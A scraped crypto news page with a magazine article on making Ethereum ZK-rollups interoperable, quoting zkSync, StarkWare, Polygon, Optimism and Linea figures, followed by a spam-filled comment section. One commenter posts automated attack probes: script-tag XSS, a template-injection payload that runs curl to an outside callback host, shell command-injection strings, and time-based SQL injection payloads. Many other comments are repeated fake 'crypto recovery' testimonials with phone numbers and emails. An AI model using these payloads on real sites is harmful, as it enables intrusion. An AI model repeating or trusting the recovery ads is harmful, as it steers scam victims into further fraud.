Русский
EnglishCryptocurrencies:
9512 /
Markets: 114689
Market Cap: $ 3 787 132 962 593 /
24h Vol: $ 200 392 171 953 /
BTC
Dominance: 58.653467328398%
News
Here’s how Ethereum’s ZK-rollups can become interoperable
Ethereum’s ZK rollups are engaged in a cutthroat competition. But they’ll need to join forces for Ethereum to win.
The past few weeks have seen a wave of zero-knowledge proof project launches, including Polygons zkEVM and Matter Labs zkSync Era on mainnet, and the Linea zkEVM from ConsenSys on testnet.
They join StarkWares long-running StarkEx solution and its decentralized cousin StarkNet along with a variety of other projects in development from Polygon (Miden, Zero, etc.) and Scroll.
They all promise faster and cheaper transactions to scale Ethereum using zero-knowledge proofs.
But is the brutal competition between ZK-rollups a zero-sum game where there can be only one winner? Or are we looking at a future in which lots of different rollups are able to work in harmony and interoperably?
Anthony Rose, head of engineering for zkSync, thinks the latter future is much more likely and predicts that one day, no one will think about which ZK-rollup they are on because itll all just be infrastructure.
I think that if we dont get to that world, then weve probably failed, he says. Its the same way as somebody using Snapchat or Facebook doesnt really have to know about TCP/IP or HTTP its just the plumbing of the way the internet works.
But how do we move from a bunch of competing sovereign rollups to an ecosystem of ZK solutions that are interoperable and composable?
People are already starting to think about this question, and all of the ZK projects Magazine spoke to have plans to make their projects interoperable with at least some other rollups although the extent to which that can happen likely depends on the development of standards and protocols.
Attack of the zkEVMs! Cryptos 10x moment Also read: Attack of the zkEVMs! Cryptos 10x moment
Zero knowledge about ZK-rollups?
If youre unfamiliar with the term zero-knowledge proofs which StarkWare insists should be called validity proofs theyre a way to scale Ethereum using cryptography. Rollups take the computation for tens of thousands of transactions off the main blockchain and write a tiny cryptographic proof back to Ethereum that proves the computation was carried out correctly.
Every proof we generate covers roughly 20,000 transactions and fits inside a single block of Ethereum, explains StarkWare co-founder Eli Ben-Sasson.
Despite this increase in transactions per block, zkSyncs Rose doesnt think Ethereum can come close to scaling up to become the base layer for everything via a single rollup.
A ZK-rollup on its own will not scale to the world that were talking about, Rose says. If we think that applications with some interactions on the blockchain are providing value to hundreds of millions of people, the scalability problem is still there to be solved.
Scaling is a little like internet bandwidth, in that the more you get, the more you realize you need. Back in 2017, Ethereum planned to scale using Eth2 sharding. This roadmap was then ripped up after ZK-rollups emerged in 2018 and promised vastly greater scaling, but only if Ethereum upgraded the blockchain with a different form of sharding (proto danksharding and then danksharding) to enable the ZK-rollups to achieve higher throughput.
Even then, Rose says its likely rollups will need to work in collaboration. This is a big active area of research for us, Rose says of interoperability. As the systems mature as well I think, naturally, this is kind of the pattern that these systems suggest.
Ethereum scaling is some way off
Its the early days yet for scaling, however. Although various solutions claim they can theoretically hit tens of thousands of transactions per second (or even talk about unlimited scaling), in practice, theyre hamstrung by data availability on Ethereum.
At present, between them, the various Ethereum scaling solutions and Ethereum are running at about 25 transactions per second (TPS). Ethereum itself has performed an average of about 12 TPS over the past month, Arbitrum One was at 7.2 TPS, Optimism at 2.65 TPS and zkSync at 1.6 TPS, according to ETHTPS.info.
These numbers move around a bit and are low mostly due to demand rather than capacity. StarkEx is not covered, but StarkWare tells Magazine it averaged 5 TPS over the past month.
Despite supply outweighing demand so far, interoperability between rollups would already be helpful to ensure that users dont get stuck in walled gardens. Optimistic Rollup users, for example, have to wait a week to withdraw funds, which rather limits interoperability.
ZK-rollups dont have that limitation and can allow instant withdrawals (but dont).
ZK-rollups are the endgame for scaling blockchains: Polygon Miden founderAlso read: ZK-rollups are the endgame for scaling blockchains: Polygon Miden founder
Interoperable ZK-rollups are possible, but is it probable?
Bobbin Threadbare, founder of Polygon Miden, says interoperability between ZK-rollups is certainly technically possible, but whether it will happen in practice is a different question.
He explains that withdrawals arent instant yet because its not financially viable to put proofs on Ethereum that frequently, so transactions are fired off roughly every 10 or 20 minutes. As demand and throughput go up, this delay will become quicker and quicker.
And in that case, you get closer, closer and closer to this instant kind of movement between different places, he says.
The second thing is that different rollups will have to have some kind of incentives to say, Okay, lets figure out how we can seamlessly move things from this to that.
Threadbare adds, Very fast interoperability between ZK-rollups is technically possible, but a) People need to agree on standards, and b) They need to actually implement these standards in their systems.
And I think thats a much, much more complicated thing to do.
Read also
Interoperability is not composability
Theres a difference between interoperability and composability although people often use them interchangeably.
Interoperability is easier and basically involves being able to move funds from one layer-2 (L2) solution to another. By this definition, at least all of the rollups which share an L1 today already are interoperable! notes Optimism co-founder Ben Jones.
Arbitrum’s Patrick McCorry also says that for basic interoperability, you can already send an asset from one rollup to another via Ethereum its just slow.
Or you could have some off-chain solution, maybe like Hop protocol, where theres someone in the middle who you give them the assets from StarkWare and then you take the assets to Scroll, and they provide some way to synchronize. So, theres ways to do that, he says.
Hop Protocol currently allows users to send funds between Ethereum, Polygon, Gnosis, Optimism and Arbitrum, though ZK-rollups arent currently supported. Connext offers a similar service, including BNB. A cross-chain DEX and bridge aggregator called Rango already connects StarkNet to other L2s.
Also read: Ethereum is eating the world You only need one internet
Declan Fox, product lead for the ConsenSys Linea zkEVM, expects support will be added soon. Many third-party bridge providers will continue to offer interoperability solutions for ZK-rollups, he says, adding that bridges have drawbacks around trust and fees.
At Linea, we value open systems and interoperability highly. The Linea testnet has already integrated many of the leading bridging solutions for this reason. In the future, Linea will be able to trustlessly interoperate with any of the layer 3 off-chain systems deployed on top of the layer 2 through their validating bridges.
6/16) The case of two users exchanging value within an L1 is simple
— Justin Bons (@Justin_Bons) April 10, 2023
Simply scan the other user's QR code & press send, as long as they are also using ETH
In the case of L2s, this is not so simple, as the user now needs to know what L2 their friend is on & how to bridge between
MetaMask Snaps might help
Another possibility for interoperability is via the browser wallet MetaMask. ConsenSys is in the midst of developing new crowdsourced wallet extensions called Snaps that projects can develop that extend the capabilities of MetaMask.
MetaMask senior product manager Alex Jupiter says Snaps are still in the testing phase, but if we imagine a future where you know Snaps is stable, developers can extend it in all manner of ways. Of course, the next step is to get these different Snaps talking to each other. So, one ZK-rollup can talk to another ZK-rollup, right? And thats part of the vision of Snaps, and yeah, we want to make that world possible.
One Snap that has been demoed already enables MetaMask users to control Bitcoin via their Ethereum wallet, so getting ZK-rollups talking to each other certainly seems achievable.
Who knows where bridging is gonna go in the future as well. Im not an expert on ZK-rollups, but I dont think theres a core technical limitation of that being a problem in the future.
Messari slide highlighting composable rollup ecosystems with shared infrastructure.ZK-rollups and composability
Composability is the ability to initiate a transaction that involves operations on more than one different rollup. Jones calls it a stronger form of interoperability where chains can do more than just communicate asynchronously with each other but actually have transactions, which are aware of the state of each chain in some more real-time manner (think cross-chain flash loans).
This is likely to require the development of new standards and protocols, and Rose says that the sooner this happens the better.
It is a strictly better user experience if teams can build through an interface, and we can attempt to have more standardization. I think there is appetite for some of this standardization as well, and I do think we will see more of it as these systems mature.
Fox says that to get to a point where we have synchronous composability, there will need to be a globally sequenced and ordered set of transactions across the different off-chain systems. This is theoretically possible with ZK-rollups thanks to SNARKs [a type of ZK proof] where, for example, a common sequencer could offer a UX of unified execution and pooled liquidity, he says.
Imagine making a DeFi trade where parts of the trade are executed on different chains for optimal liquidity all within the same transaction.
Base layer advertisement from Coinbase. (Coinbase)Optimistic about the Superchain
One potential coordination method might be Optimisms Superchain concept, which it announced at the same time Coinbase unveiled its base layer-2 fork of Optimism.
Optimism is an Optimistic Rollup, which is another way to scale Ethereum, though more limited in potential throughput. According to the announcement:
The Superchain seeks to integrate otherwise siloed L2s into a single interoperable and composable system.
Jones tells Magazine, There is no silver bullet, but there are a couple of requirements for interoperability and composability the Superchain aims to address:
Shared Sequencing: To have a system where you can do a cross-chain flash loan, at the very least, at the time when that transaction is being processed, it needs to be included in both of the chains reliably. This requires some notion of sequencers being able to communicate, merge or otherwise network together.
Separation of Proving and Execution: Different applications have different security requirements, and those security requirements impose different kinds of restrictions on what interoperability properties can be achieved. By de-coupling the computation of chain state from the proving of cross-chain messages, we can maximize the interoperability of applications without fragmenting them to other chains.
He says the Superchain can connect optimistic and ZK-rollups as well as other chains, providing a shared, modular standard for all these innovations to happen on.
It is going to be far easier to make these chains interoperate when they are built on the same codebase, compared to interoperating chains, which were written separately from the ground up, he says.
However, underscoring Threadbares point about political issues being more complicated than technical issues, Arbitrum CEO Steven Goldfeder dismissed the concept out of hand.
The notion that were going to sort of coalesce on one particular technology stack a technology stack thats not even built out today, that doesnt have the core features that make it a layer 2 or make it a rollup the notion that we do that is, I think, a bit presumptuous, he told The Defiant.
Why connect ZK-rollups with Optimism?
And Arbitrum is built using Optimistic Rollups. It might be even harder to convince ZK-rollups with their higher potential throughput, to coordinate via Optimism. To some it might seem like connecting fiber optic cables together with copper wire.
All the L2s make this claim though (Coinbase)However, Optimism is laying the groundwork to incorporate ZK proofs (validity proofs) in its systems with the Bedrock upgrade, and the Superchain will take this idea even further. Compatibility there is the goal, says Jones.
Other potential coordination methods are the Inter-Blockchain Communication Protocol from Cosmos or modular blockchain Celestia (though the latter seems to be trying to replace Ethereum as the data availability layer).
But ZK-rollups could also connect directly with each other.
Read also
Polygon ZK-rollups will be interoperable
Polygon has a variety of flavors of ZK-rollup possible in development. They include Polygon Miden (similar to StarkNet), the Polygon zkEVM (compatible with existing EVM projects), Zero (recursive scaling) and Nightfall (Optimistic Rollups meet zero-knowledge cryptography).
Threadbare says that coordinating internally to hook up Polygons ZK solutions is easier than coordinating with outside projects, and he believes the technical challenges are doable. The team is working on the LX-LY bridge to enable this interoperability already.
Because we are all part of the same company, then the technical integration becomes much easier to solve, he says. Moving between these rollups will be super, super simple.
The friction, its not two separate chains or three separate chains. It doesnt appear like that. Its just one Polygon that settles on Ethereum. And moving assets or funds or tokens between these different environments is super, super straightforward and easy. Thats the end game.
Ethereum is eating the world. Metaphorically that is. StarkEx and StarkNet
StarkWares Ben-Sasson says they are building similar interoperability between StarkEx and StarkNet.
Yeah, definitely. Were gonna be porting the StarkEx systems to be layer 3s over at StarkNet, and, at some point, for them to be solutions on top of StarkNet. Thats definitely the plan, he says.
Back in 2020, StarkWare released a blog laying out its plans for interoperability, but Ben-Sasson says that has been superseded. StarkWares Cairo is a Turing-complete language and virtual machine, which makes it similar in capability to a general-purpose computer.
A good analogy is to think of a layer 2 or a layer 1 as some computer that is just a bit slower than your laptop, but it has a lot of integrity and safety, he says. So, you can start just connecting these computer programs in various ways. Just like today, computers talk to each other and inter-operate or compose.
To get computers to talk to each other over the internet, a set of standards like TCP/IP and HTTP were developed. Ben-Sasson agrees thats the likely path for connecting validity-proof rollups, too.
Cointelegraph explainer on STARKs v SNARKsPerhaps ZK-rollups can connect direct
StarkNet isnt working on standards like that at present, but Ben-Sasson suggests there may be other paths to interoperability. He says smart contracts can be written to interpret the different types of incompatible proofs used by different rollups. StarkNet uses STARKs as the name suggests; zkSync uses SNARKs, for example, while Polygon Zero uses recursive SNARKs called PLONKs.
Someone already wrote on StarkNet a smart contract that allows you to verify a Groth 16 SNARK, he says.
ZKPs might disrupt the design of the blockchain execution layer. Why bother with specialized languages, when you can just submit a proof of any computation in any language?
— Jake Brukhman (@jbrukh) April 15, 2023
This means the two rollups can communicate directly.
As long as you can, in chain one, verify the proofs of chain two, you can start having interoperability. StarkNet is already able to verify STARKs, and now also Groth 16 SNARKs, and Im pretty sure that very soon, well have things like, you know, PLONKs and Plonky and other kinds of systems.
So, at least in StarkNet, it should be relatively straightforward to be able to prove things happened correctly in other chains, and you can start having interoperability.
Fox tells me separately that Lineas system is already using the EVM to verify proofs (Groth16, PlonK, etc.) in a smart contract, which he says can make it interoperable with L3s.
Ben-Sasson says it seems likely that StarkNet would be able to connect to different rollups directly.
You can do it directly. You can do it because its a general-purpose computer and because of the validity rollup nature, right, that you can just have these systems talking to each other.
So, it sounds like the future is interoperable and composable.
Yes, it definitely is interoperable and composable. Yes. Definitely.
Subscribe
The most engaging reads in blockchain. Delivered once a week.
Email address
SUBSCRIBE
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: 